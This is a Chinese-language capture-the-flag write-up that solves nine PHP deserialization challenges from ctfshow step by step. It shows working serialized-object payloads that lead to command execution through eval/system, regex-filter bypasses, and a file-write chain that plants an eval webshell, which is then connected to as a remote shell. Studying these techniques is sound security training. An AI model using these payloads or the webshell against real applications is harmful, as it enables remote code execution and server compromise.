反序列化

反序列化,我个人的理解就是伪造一个类,覆盖掉其原有的成员变量或成员函数的内容;或者需要构造一些链,比如一些指向关系,假如有a类和b类,a类中某个函数可以输出flag,但是没有被调用,b类中存在某个变量可以被调用,所以使b中变量指向a中的函数来调用a中的函数输出flag。我什么也不会,这只是感觉,哈哈哈。。

以下题目均来自于ctfshow web入门练习题反序列化部分。

例题1、签到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

这题就不需要构造一些东西,更像是代码审计。

分析流程可知,如果username = ‘xxxxxx’ 并且passowrd = ‘xxxxxx’,那么login成功,并把ctfShowUser->isVip=true;之后调用vipOneKeyGetFlag直接输出flag了。

例题2、简单反序列化构造1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

这题login成功后没有对$isVip=ture的操作,因此我们需要自己构造一个user,他的isvip是true,传到cookie里。

1
2
3
4
5
6
7
8
<?php 
class ctfShowUser{
public $isVip = true;
}
$user = new ctfShowUser();
$a = serialize($user);
echo urlencode($a);
?>

使用火狐浏览器修改cookie,或使用burp抓包后添加cookie后放行即可。

1
2
?username=xxxxxx&password=xxxxxx          //get传参
Cookie:user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

例题3、简单反序列化构造2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

同上一题一样,不过是在vipOneKeyGetFlag加了个检验,要求用户名不能等于密码。

这个简单,因为我们伪造的user也是可以指定其他变量的,可以构造一个username来覆盖掉之前的xxxxxx

1
2
3
4
5
6
7
8
9
<?php 
class ctfShowUser{
public $username='aaaa';
public $isVip = true;
}
$user = new ctfShowUser();
$a = serialize($user);
echo urlencode($a);
?>

之后,burp抓包修改cookie。

1
2
?username=aaaa&password=xxxxxx          //get传参
Cookie:user=O%3A11%3A%22ctfShowUser%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A4%3A%22aaaa%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D //加了username=aaaa后的反序列化串

例题4、魔术方法__construct和__destruct

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}

分析代码,这里就用到魔术方法了,__construct在类创建的时候调用,__destruct在类销毁的时候调用。

可以发现有backdoor后门函数,里边存在命令执行,因此我们可以伪造一个ctfShowUser,让他的成员变量class指向backDoor(通过重写__construct实现),并在backDoor的code里写入一句话木马,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
class ctfShowUser{
private $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code='system("tac flag.php");';
}
$user = new ctfShowUser();
$a = serialize($user);
echo urlencode($a);
?>

之后,burp抓包修改cookie。

1
Cookie:user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%22tac+flag.php%22%29%3B%22%3B%7D%7D

这样,反序列化后的user传进去进行实例化后,就会调用__construct方法,把class指向backdoor,之后在函数销毁的时候__destruct会调用class指向的getinfo方法,即会调用backdoor里的getinfo方法,进行命令执行。这里甚至不需要username和password满足login条件,随便赋值就行。

例题5、魔术方法2

在上一道题的基础上,对反序列话的字符串做了过滤,其余一样。

1
2
3
4
5
6
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}

正则意思就是 O:数字 C:数字 等的这种情况不能出现,可以在冒号后边加一个空格(%20)或者+绕过正则

1
Cookie:user=O%3A%2011%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22ctfShowUserclass%22%3BO%3A%208%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22backDoorcode%22%3Bs%3A23%3A%22system(%22tac%2Bflag.php%22)%3B%22%3B%7D%7D

例题6、ROP链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
class ctfshowvip{
public $username;
public $password;
public $code;

public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}

public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}

unserialize($_GET['vip']);

整理下魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
__construct	构造函数会在每次创建新对象时先调用

__destruct 析构函数是 php5 新添加的内容,析构函数会在到对象的所有引用都被删除或者当对象被显式销毁时执行

__wakeup unserialize()函数执行时会检查是否存在一个 __wakeup 方法,如果存在,则先被调用

__invoke() 当尝试以调用函数的方式调用一个对象时,该方法会被自动调用

__sleep serialize()函数在执行时会检查是否存在一个`__sleep`魔术方法,如果存在,则先被调用

__serialize() 函数会检查类中是否存在一个魔术方法 __serialize()。如果存在,该方法将在任何序列化之前优先执行。它必须以一个代表对象序列化形式的 键/值 成对的关联数组形式来返回,如果没有返回数组,将会抛出一个 TypeError 错误
注意:
如果类中同时定义了 __serialize() 和 __sleep() 两个魔术方法,则只有 __serialize() 方法会被调用。 __sleep() 方法会被忽略掉。如果对象实现了 Serializable 接口,接口的 serialize() 方法会被忽略,做为代替类中的 __serialize() 方法会被调用

如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略

# __serialize 和 __unserialize 特性自 PHP 7.4.0 起可用


__construct() 当一个对象创建时被调用,反序列化不触发
__destruct() 当一个对象销毁时被调用
__toString() 当一个对象被当作一个字符串使用,比如echo输出或用 . 和字符串拼接
__call() 当调用的方法不存在时触发
__invoke() 当一个对象被当作函数调用时触发
__wakeup() 反序列化时自动调用
__get() 类中的属性私有或不存在触发
__set() 类中的属性私有或不存在触发


__wakeup(), unserialize() 执行前调用
__destruct(), 对象销毁的时候调用
__toString(), 类被当成字符串时的回应方法
__construct(),当对象创建(new)时会自动调用,注意在unserialize()时并不会自动调用
__sleep(),serialize()时会先被调用,__sleep()先执行再序列化
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),调用一个不存在的成员变量触发
__set(),设置一个不存在的或者不可访问的类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用。
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用。
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息

因为存在__unserialize函数,所以在 get 传入 vip 的值反序列化时直接调用 __unserialize 而不是 __wakeup 函数

__invoke 方法存在中的 eval 函数,但是却无法利用,但是__destruct方法中存在任意文件写入,可以利用写入一句话木马。

__unserialize 函数中,code = username 的值拼接了 password 的值。

因此构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class ctfshowvip{
public $username;
public $password;

public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
}
$a=new ctfshowvip('877.php','<?php eval($_POST[1]);?>');
# 最好是先实例化一个对象再序列化
# 877.php==877是成立的(弱类型比较)
var_dump(urlencode(serialize($a)));
# urlencode 将不可见字符编码

之后,蚁剑连接。这个题不用system(tac)的原因是不知道flag的目录,蚁剑的好处是可以直接连到远程shell查找目录。

例题7、字符串逃逸替换变长

index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}

message.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
include('flag.php');

class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}

这题有两个做法。

方法一

直接构造一个message,使其token=admin:

1
2
3
4
5
6
<?php
class message{
public $token='admin';
}
$a=new message();
echo (serialize($a));

直接访问message.php,之后burpsuite修改cookie

1
2
Cookie:msg=Tzo3OiJtZXNzYWdlIjoxOntzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9
其中msg是O:7:"message":1:{s:5:"token";s:5:"admin";}的base64编码。

方法二

正常访问index.php,因为index中存在字符转换:

1
2
$umsg = str_replace('fuck', 'loveU', serialize($msg));
# fuck 替换为 loveU,从四个字符长度替换为五个字符长度

要注意替换发生在序列化之后,先来看一个普通的序列化字符串

1
2
3
4
5
6
7
O:11:"ctfShowUser":1:{s:5:"isVip";b:1;}

# O 表示序列化类型为 class
# 11 表示类名的长度为11
# 1 表示有一对参数
# s 表示字符串类型,后边的 5 就表示的是字符串的长度
# b 表示Boolean类型true,1就是true

php在反序列化时,底层代码是以;作为字段的分隔,以}作为结尾,并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化。

要让判断token=='admin',序列化的形式应该这样:O:7:"message":1:{s:5:"token";s:5:"admin";}反序列化出来就是class message{ public $token='admin';}

s:5:"token";s:5:"admin";24个字符

1
2
3
4
5
6
7
8
9
10
11
<?php 
class message{
public $from='d';
public $msg='m';
public $to='1';
public $token='user';
}
$msg= serialize(new message);
echo $msg;
output:
O:7:"message":4:{s:4:"from";s:1:"d";s:3:"msg";s:1:"m";s:2:"to";s:1:"1";s:5:"token";s:4:"user";}

我们可以利用$to这个变量,利用PHP反序列化的特点,即},将s:5:”token”;s:4:”user”;分隔开(也就是挤出去),然后将

s:5:"token";s:5:"admin";放进去,所以我们进行构造,注意闭合

";s:5:"token";s:5:"admin";} 这一共27个字符长度就是我们需要插入的字符串

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
class message{
public $from='d';
public $msg='m';
public $to='1";s:5:"token";s:5:"admin";}';
public $token='user';
}
$msg= serialize(new message);
echo $msg;

output:
O:7:"message":4:O:7:"message":4:{s:4:"from";s:1:"d";s:3:"msg";s:1:"m";s:2:"to";s:28:"1";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}

但是这个output不能直接使用,因为s:2:"to";s:28:"1";,这里会让PHP默认to的值为1,但长度出错了

这时候我们就可以用前面的str_replace('fuck', 'loveU', serialize($msg));语句

利用loveU替换fuck补充这27的差值,一个fuck比一个loveU多一个长度,27个fuck就会多出27个长度。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php 
class message{
public $from='d';
public $msg='m';
public $to='1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
public $token='user';
}
$msg= serialize(new message);
echo $msg;

output:
O:7:"message":4:{s:4:"from";s:1:"d";s:3:"msg";s:1:"m";s:2:"to";s:136:"1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}

替换后:
O:7:"message":4:{s:4:"from";s:1:"d";s:3:"msg";s:1:"m";s:2:"to";s:136:"1loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}

此时to的值就不会出错了。

因此构造:

1
get:f=1&m=2&t=6fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}       //f和m这里无所谓

例题8、引用传参

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class ctfshowAdmin{
public $token;
public $password;

public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
echo $flag;
}

因为token是随机生成的,不固定,但是如果可以让password的值成为token的引用就行了。

因此构造:

1
2
3
4
5
6
7
8
9
10
11
<?php
class ctfshowAdmin{
public $token;
public $password;

public function __construct(){
$this->password = &$this->token; //使用&引用
}
}
$a=new ctfshowAdmin();
echo urlencode(serialize($a));

例题9、大写绕过正则

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}

目的就是触发析构函数,输出flag,然而当反序列化字符串$ctfshowo中如果出现ctfshow关键字时会抛出异常,无法触发析构方法__destruct

但是正则并没有区分大小写,而且php类和方法不区分大小写(变量名区分),可以用大写字母绕过

因为采用了伪协议传参,可以在post中直接序列化字符串

1
O:7:"Ctfshow":0:{}

或者正常构造如下,之后burp改成大写C:

1
2
3
4
5
6
<?php
class ctfshow{
}
$a=new ctfshow();
echo serialize($a);
#O:7:"ctfshow":0:{}